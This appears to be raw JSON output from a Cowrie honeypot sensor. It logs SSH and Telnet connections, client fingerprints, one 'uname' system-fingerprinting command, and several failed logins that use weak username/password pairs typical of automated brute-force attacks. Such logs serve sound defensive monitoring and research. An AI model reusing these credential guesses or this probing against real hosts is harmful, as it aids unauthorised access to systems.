{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:16.747297Z","src_ip":"91.92.40.36","session":"47d45be9753e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:17.255653Z","src_ip":"91.92.40.36","session":"47d45be9753e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:17.260467Z","src_ip":"91.92.40.36","session":"47d45be9753e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53596,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa0eaf523d3d","protocol":"ssh","message":"New connection: 91.92.40.36:53596 (10.17.0.5:22) [session: aa0eaf523d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:19.176554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:20.151462Z","src_ip":"91.92.40.36","session":"aa0eaf523d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:20.713317Z","src_ip":"91.92.40.36","session":"aa0eaf523d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":32912,"dst_ip":"10.17.0.5","dst_port":23,"session":"139407b1de0d","protocol":"telnet","message":"New connection: 94.23.66.112:32912 (10.17.0.5:23) [session: 139407b1de0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:21.102035Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53688,"dst_ip":"10.17.0.5","dst_port":22,"session":"259216875c07","protocol":"ssh","message":"New connection: 91.92.40.36:53688 (10.17.0.5:22) [session: 259216875c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:23.894620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:24.629154Z","src_ip":"91.92.40.36","session":"259216875c07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:24.634369Z","src_ip":"91.92.40.36","session":"259216875c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43240,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a30640d0b8","protocol":"telnet","message":"New connection: 172.81.62.90:43240 (159.203.135.109:23) [session: 64a30640d0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:25.887934Z"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:26.442750Z","src_ip":"91.92.40.36","session":"aa0eaf523d3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233","message":"login attempt [root/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:27.613485Z","src_ip":"91.92.40.36","session":"259216875c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:28.867770Z","src_ip":"91.92.40.36","session":"aa0eaf523d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:29.202427Z","src_ip":"91.92.40.36","session":"259216875c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13486,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dafb9573fd5","protocol":"ssh","message":"New connection: 91.92.40.36:13486 (10.17.0.5:22) [session: 5dafb9573fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:32.450400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:32.809138Z","src_ip":"91.92.40.36","session":"5dafb9573fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:33.519548Z","src_ip":"91.92.40.36","session":"5dafb9573fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31404,"dst_ip":"10.17.0.5","dst_port":22,"session":"65875d2720b4","protocol":"ssh","message":"New connection: 91.92.40.36:31404 (10.17.0.5:22) [session: 65875d2720b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:39.767208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:40.048979Z","src_ip":"91.92.40.36","session":"65875d2720b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:41.136590Z","src_ip":"91.92.40.36","session":"65875d2720b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:41.381872Z","src_ip":"91.92.40.36","session":"5dafb9573fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":41614,"dst_ip":"159.203.135.109","dst_port":22,"session":"8441887404d8","protocol":"ssh","message":"New connection: 102.213.34.99:41614 (159.203.135.109:22) [session: 8441887404d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:42.453662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:42.458264Z","src_ip":"102.213.34.99","session":"8441887404d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:42.628328Z","src_ip":"102.213.34.99","session":"8441887404d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:43.340872Z","src_ip":"102.213.34.99","session":"8441887404d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:43.539145Z","src_ip":"91.92.40.36","session":"5dafb9573fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:44.309385Z","src_ip":"91.92.40.36","session":"65875d2720b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:44.513990Z","src_ip":"102.213.34.99","session":"8441887404d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31416,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a604b3197f","protocol":"ssh","message":"New connection: 91.92.40.36:31416 (10.17.0.5:22) [session: 41a604b3197f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:45.495852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:45.591972Z","src_ip":"91.92.40.36","session":"41a604b3197f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:45.710510Z","src_ip":"91.92.40.36","session":"41a604b3197f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:46.106856Z","src_ip":"91.92.40.36","session":"41a604b3197f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:46.417016Z","src_ip":"91.92.40.36","session":"65875d2720b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":36430,"dst_ip":"10.17.0.5","dst_port":22,"session":"268020ff8e65","protocol":"ssh","message":"New connection: 45.123.217.22:36430 (10.17.0.5:22) [session: 268020ff8e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:47.273502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:47.277592Z","src_ip":"45.123.217.22","session":"268020ff8e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:47.320385Z","src_ip":"91.92.40.36","session":"41a604b3197f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:47.500921Z","src_ip":"45.123.217.22","session":"268020ff8e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"koumy","password":"koumy123","message":"login attempt [koumy/koumy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:48.451370Z","src_ip":"45.123.217.22","session":"268020ff8e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:49.677983Z","src_ip":"45.123.217.22","session":"268020ff8e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42790,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d73f8f82207","protocol":"ssh","message":"New connection: 91.92.40.36:42790 (10.17.0.5:22) [session: 0d73f8f82207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:51.299936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:51.740405Z","src_ip":"91.92.40.36","session":"0d73f8f82207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:51.743342Z","src_ip":"91.92.40.36","session":"0d73f8f82207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"budda279056","message":"login attempt [system/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:54.631576Z","src_ip":"91.92.40.36","session":"0d73f8f82207","protocol":"ssh"}
